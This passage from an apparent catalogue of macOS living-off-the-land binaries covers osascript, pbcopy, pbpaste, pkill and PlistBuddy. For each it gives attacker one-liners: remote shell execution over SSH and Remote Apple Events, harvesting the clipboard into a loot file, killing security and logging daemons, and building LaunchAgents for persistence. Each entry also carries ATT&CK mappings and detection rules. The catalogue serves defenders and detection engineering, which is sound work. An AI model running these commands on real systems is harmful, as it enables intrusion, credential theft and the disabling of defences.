as root if the user authenticates, without requiring sudo. ```bash osascript -e 'do shell script "id"' ``` - Tactics: Execution, Privilege Escalation, Stealth - ATT&CK techniques: T1059.002, T1059.004 - Tags: do-shell-script, oneliner #### Remote command execution over SSH using osascript do shell script osascript's 'do shell script' handler can be invoked over an SSH session to execute arbitrary shell commands on a remote macOS host. This technique requires only SSH access to the target. Unlike when using Remote Apple Events (eppc://) with osascript, it does not require port 3031 to be accessible, Remote Apple Events to be enabled, or the target application to be running. This makes it viable against hosts where eppc:// is blocked by the firewall or disabled in System Settings, and against headless or server Macs that have no active GUI session. ```bash ssh -i key.pem user@ 'bash -s' <<'EOF' osascript -e 'do shell script "id"' EOF ``` - Tactics: Execution, Lateral Movement - ATT&CK techniques: T1021.004, T1059.002 - Tags: ssh, remote-execution #### Mount SMB volume without GUI using osascript mount volume osascript can mount an SMB share on the local machine using the 'mount volume' command. This approach bypasses the macOS GUI requirement for enabling Windows File Sharing password storage on the target, which is required when using the mount command directly. The share is mounted to /Volumes/ and its contents are immediately accessible as local files. ```bash osascript -e 'mount volume "smb://user:@/share"' ``` - Tactics: Lateral Movement - ATT&CK techniques: T1021 - Tags: smb, file-transfer, oneliner #### Remote payload deployment via Terminal.app as a Remote Apple Events proxy The System Events application blocks remote do shell script execution via Remote Apple Events (RAE), returning a -10016 Handler Error. Terminal.app does not have this restriction and accepts remote do script commands over the eppc:// protocol. This makes Terminal.app an effective execution proxy. Payloads are Base64-encoded before transmission to avoid AppleScript parsing errors (-2741) caused by multi-line scripts. The deployment is a two-stage process - the first RAE command decodes the payload to a temporary path and sets execute permissions, and the second invokes it via bash. This technique can also be classified as a Software Deployment Tool (T1072) - it operates via Apple Events IPC rather than standard shell processes, creating a telemetry gap in security tooling focused on process execution trees. ```bash osascript < ${REMOTE_SCRIPT_PATH} && chmod +x ${REMOTE_SCRIPT_PATH}" in window 1 end tell EOF osascript <" to get name of every disk' ``` - Tactics: Discovery, Lateral Movement - ATT&CK techniques: T1135 - Tags: remote-apple-events, eppc, finder, oneliner ### Detections - Command Line Argument Detection (args contain osascript AND -e AND clipboard) - [Jamf Protect: Detect activity that is related to osascript gathering clipboard content](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml) - [Jamf Protect: Detect activity that is related to osascript pulling system information](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml) - [Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml) - Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash) - Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications ### Resources - [Using macOS Internals for Post Exploitation](https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121) - [Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution](https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/) ### Acknowledgements - William Gibson (Cisco Talos, Remote Apple Events use cases) - Ryan Conry (Cisco Talos, SSH execution, SMB mount, and Finder comment use cases) --- ## pbcopy > Write standard input into the macOS pasteboard (clipboard). The pbcopy binary reads standard input and places it on a macOS pasteboard, defaulting to the general pasteboard when none is specified. Input is stored as plain text unless it begins with an Encapsulated PostScript or Rich Text Format header, in which case it is stored as that type. It is the write counterpart to pbpaste and is intended for scripting and piping clipboard content between commands. The same primitive lets an attacker who already has code execution alter what a victim later pastes. Because the pasteboard is the trusted hand-off point between what a user copies and what they submit, overwriting it turns a normal paste into an attacker-controlled action, and clearing it can remove sensitive data before it is captured. - Page: https://loobins.io/binaries/pbcopy/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Execution, Stealth, Collection ### Paths - `/usr/bin/pbcopy` ### Example Use Cases #### Stage a command on the clipboard for clipboard-based execution pbcopy places a command string on the pasteboard, which a second stage retrieves with pbpaste and executes via command substitution. Using the clipboard as the carrier keeps the payload out of the process command line of the stager itself. It requires only user-level code execution. ```bash echo '' | pbcopy && eval "$(pbpaste)" ``` - Tactics: Execution - ATT&CK techniques: T1204.004 - Tags: clipboard #### Park staged data on a non-general pasteboard to evade inspection The -pboard flag selects which pasteboard pbcopy writes to. pbpaste and most tooling read the general pasteboard by default, so data written to the find, font, or ruler pasteboard is less likely to surface in a routine clipboard check while still being retrievable by an attacker who knows where to look. It requires only user-level code execution. ```bash cat | pbcopy -pboard find ``` - Tactics: Stealth, Collection - ATT&CK techniques: T1074.001 - Tags: clipboard, staging #### Clear the clipboard to destroy sensitive copied data Piping empty input to pbcopy overwrites the general pasteboard with nothing, discarding whatever the user had copied (for example a password copied from a manager). An attacker can use this to remove sensitive data after harvesting it, or to erase evidence that clipboard monitoring took place, before an investigator or DLP agent inspects the pasteboard. It requires only user-level code execution. ```bash printf '' | pbcopy ``` - Tactics: Stealth - ATT&CK techniques: T1070 - Tags: clipboard ### Detections - Process execution: /usr/bin/pbcopy executed repeatedly in a short window alongside pbpaste by the same process tree, which is the polling pattern of clipper malware watching for a copied value to overwrite. - Command line argument detection: pbcopy invoked with -pboard naming a non-general pasteboard (find, font, ruler), which is unusual outside specialized tooling and can indicate data staged where a routine clipboard check will not look. - Process lineage: pbpaste piped into eval, sh, bash or zsh (for example eval "$(pbpaste)"), indicating a command is being retrieved from the clipboard and executed. - Endpoint Security process telemetry (ES_EVENT_TYPE_NOTIFY_EXEC): /usr/bin/pbcopy launched by a non-interactive or persistence-launched parent (a LaunchAgent-spawned script) rather than an interactive shell. ### Resources - [MITRE ATT&CK T1115: Clipboard Data](https://attack.mitre.org/techniques/T1115/) - [Atomic Red Team T1115: Execute commands from clipboard](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1115/T1115.md) - [SentinelOne: 7 Kinds of Data Malware Steals from macOS Users (Pasteboard Contents)](https://www.sentinelone.com/blog/session-cookies-keychains-ssh-keys-and-more-7-kinds-of-data-malware-steals-from-macos-users/) --- ## pbpaste > Paste the contents of clipboard to the terminal. Retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. - Page: https://loobins.io/binaries/pbpaste/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-04-11 - Tactics: Credential Access, Collection ### Paths - `/usr/bin/pbpaste` ### Example Use Cases #### Use pbpaste to collect sensitive clipboard data A pbpaste bash loop can continuously collect clipboard contents every x minutes and write contents to a file (or another location). This may allow an attacker to gather user credentials or collect other sensitive information. ```bash while true; do echo $(pbpaste) >> loot.txt; sleep 10; done ``` - Tactics: Credential Access, Collection - ATT&CK techniques: T1115 - Tags: bash, oneliner ### Detections - [Sigma: Clipboard Data Collection Via Pbpaste](https://github.com/SigmaHQ/sigma/blob/master/rules-threat-hunting/macos/process_creation/proc_creation_macos_pbpaste_execution.yml) ### Resources - [Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext](https://medium.com/@NullByteWht/hacking-macos-how-to-dump-1password-keepassx-lastpass-passwords-in-plaintext-723c5b1c311b) - [Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - pbpaste](https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-b65) --- ## pkill > Kill processes by name or pattern. pkill is a Unix utility available on macOS that sends signals to processes matching a given name or pattern. While intended for legitimate process management, threat actors can abuse pkill to terminate security tools, monitoring daemons, or user applications for defense evasion. It's particularly valuable to attackers as a Living Off the Land technique that avoids bringing custom binaries onto the system. - Page: https://loobins.io/binaries/pkill/ - Author: Jason Phang Vern - Onn - Created: 2025-09-08 - Tactics: Defense Impairment, Impact ### Paths - `/usr/bin/pkill` ### Example Use Cases #### Kill security tools Terminate defensive processes like firewalls, AV, or monitoring tools. ```bash pkill -f "Little Snitch|ESET|osqueryd|Falcon" ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 - Tags: processes, evasion #### Force kill processes with SIGKILL Use the -9 signal to forcefully terminate processes that may not respond to normal termination signals. Useful for killing hung security tools. ```bash pkill -9 osqueryd ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 - Tags: processes, sigkill #### Kill all processes for a user Terminate all processes belonging to a specific user, potentially ending user sessions or disrupting monitoring. ```bash pkill -u username ``` - Tactics: Defense Impairment, Impact - ATT&CK techniques: T1489 - Tags: processes, users #### Kill logging and monitoring daemons Terminate system logging and monitoring processes to evade detection. ```bash pkill -f "syslog|auditd|osqueryd|esensor|nessusd" ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 - Tags: logging, monitoring #### Kill process by exact name match Use exact matching with -x flag to kill specific process by exact name rather than pattern. ```bash pkill -x com.apple.Safari ``` - Tactics: Defense Impairment, Impact - ATT&CK techniques: T1489 - Tags: processes ### Detections - Process execution monitoring for pkill - Endpoint Detection - pkill targeting security tools ### Resources - [Fake DeepSeek Site Infects Mac Users with Atomic (AMOS) Stealer](https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer) - [SS64 pkill man page](https://ss64.com/mac/pkill.html) --- ## PlistBuddy > Read and write property list values one key at a time from the command line. PlistBuddy is an Apple-supplied utility for reading and modifying property lists. It is normally driven interactively, but the -c switch executes a single Add, Set, Print, Delete, Copy, Merge, Import or Clear command and exits, which makes it scriptable. Entries are addressed by colon-delimited key paths with zero-based array indices, so a caller can construct or read an arbitrarily nested plist without ever handling a complete plist file. That is what makes it useful to an attacker. A LaunchAgent can be assembled key by key in place instead of being copied in from a download, a downloaded configuration blob can be queried for a single value, and live system state piped in on /dev/stdin can be parsed without writing a temporary file. PlistBuddy has been observed in Silver Sparrow, UpdateAgent and the DPRK-attributed SILENCELIFT backdoor. - Page: https://loobins.io/binaries/plistbuddy/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Persistence, Stealth, Credential Access, Discovery, Collection, Command and Control ### Paths - `/usr/libexec/PlistBuddy` ### Example Use Cases #### Build a LaunchAgent or LaunchDaemon key by key for persistence PlistBuddy creates the target file when it is missing, so a series of Add commands assembles a launchd job in place. Nothing is copied from a disk image or archive, so the plist carries no com.apple.quarantine attribute. Red Canary saw this in Silver Sparrow's installer and Microsoft reported UpdateAgent doing the same. Writing to ~/Library/LaunchAgents needs only the current user; the /Library paths require root. ```bash /usr/libexec/PlistBuddy -c "Add :Label string